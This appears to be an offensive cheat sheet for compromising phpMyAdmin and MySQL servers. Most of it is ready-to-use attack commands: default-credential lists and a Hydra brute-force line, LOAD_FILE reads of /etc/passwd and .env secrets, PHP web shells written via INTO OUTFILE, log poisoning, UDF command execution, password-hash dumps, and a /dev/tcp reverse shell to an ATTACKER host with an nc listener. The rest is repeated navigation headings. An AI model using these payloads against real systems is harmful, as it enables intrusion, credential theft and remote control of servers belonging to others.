PHPMyAdmin

Service Detection

Common paths:

/phpmyadmin
/phpMyAdmin
/pma
/dbadmin
/mysql
/admin
/sql

Default Credentials

root:<blank>
root:root
root:toor
admin:admin
mysql:mysql
pma:pma

Hydra:

hydra -L users.txt -P passwords.txt TARGET http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^:Cannot log in"

Version Enumeration

The bottom of the login page usually leaks the version:

phpMyAdmin 4.8.1

Search exploits:

searchsploit phpmyadmin 4.8

Read Files (LFI via MySQL)

Works if MySQL has FILE privilege.

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:/Windows/win.ini');
SELECT LOAD_FILE('/var/www/html/config.php');

Dump credentials:

SELECT LOAD_FILE('/var/www/html/.env');

Write Web Shell (Linux)

Check web root:

SHOW VARIABLES LIKE "secure_file_priv";

If empty → writable anywhere

SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE '/var/www/html/shell.php';

Access:

http://TARGET/shell.php?cmd=id

Write Web Shell (Windows)

SELECT "<HTML><BODY><FORM METHOD=\"GET\" NAME=\"f\"><INPUT TYPE=\"text\" NAME=\"cmd\"><INPUT TYPE=\"submit\"></FORM><pre><?php system($_GET['cmd']); ?></pre></BODY></HTML>"
INTO OUTFILE 'C:\\xampp\\htdocs\\cmd.php';

Bypass secure_file_priv

Find writable directories:

SHOW VARIABLES LIKE 'datadir';

Write inside MySQL folder:

SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE '/var/lib/mysql/shell.php';

Then include via LFI from web app.

Upload Web Shell via Log Poisoning

Write PHP into logs:

SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/log.php';
SELECT "<?php system($_GET['cmd']); ?>";

Command Execution via UDF (MySQL RCE)

Check privileges:

SELECT user, file_priv, super_priv FROM mysql.user;

If FILE + SUPER → full RCE Upload malicious UDF:

searchsploit mysql udf

Then:

CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');

Dump Password Hashes

SELECT user,host,authentication_string FROM mysql.user;

Old MySQL:

SELECT user,password FROM mysql.user;

Extract Application Credentials

SHOW DATABASES;
USE wordpress;
SHOW TABLES;
SELECT * FROM wp_users;

Reverse Shell

SELECT "<?php system('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"'); ?>"
INTO OUTFILE '/var/www/html/rev.php';

Listener:

nc -lvnp 4444

Ports

Brute-Force / Cracking

Metasploit

NetExec

Impacket

Apps

Service Detection

Default Credentials

Version Enumeration

Read Files (LFI via MySQL)

Write Web Shell (Linux)

Write Web Shell (Windows)

Bypass secure_file_priv

Upload Web Shell via Log Poisoning

Command Execution via UDF (MySQL RCE)

Dump Password Hashes

Extract Application Credentials

Reverse Shell

​Service Detection

​Default Credentials

​Version Enumeration

​Read Files (LFI via MySQL)

​Write Web Shell (Linux)

​Write Web Shell (Windows)

​Bypass secure_file_priv

​Upload Web Shell via Log Poisoning

​Command Execution via UDF (MySQL RCE)

​Dump Password Hashes

​Extract Application Credentials

​Reverse Shell

Service Detection

Default Credentials

Version Enumeration

Read Files (LFI via MySQL)

Write Web Shell (Linux)

Write Web Shell (Windows)

Bypass secure_file_priv

Upload Web Shell via Log Poisoning

Command Execution via UDF (MySQL RCE)

Dump Password Hashes

Extract Application Credentials

Reverse Shell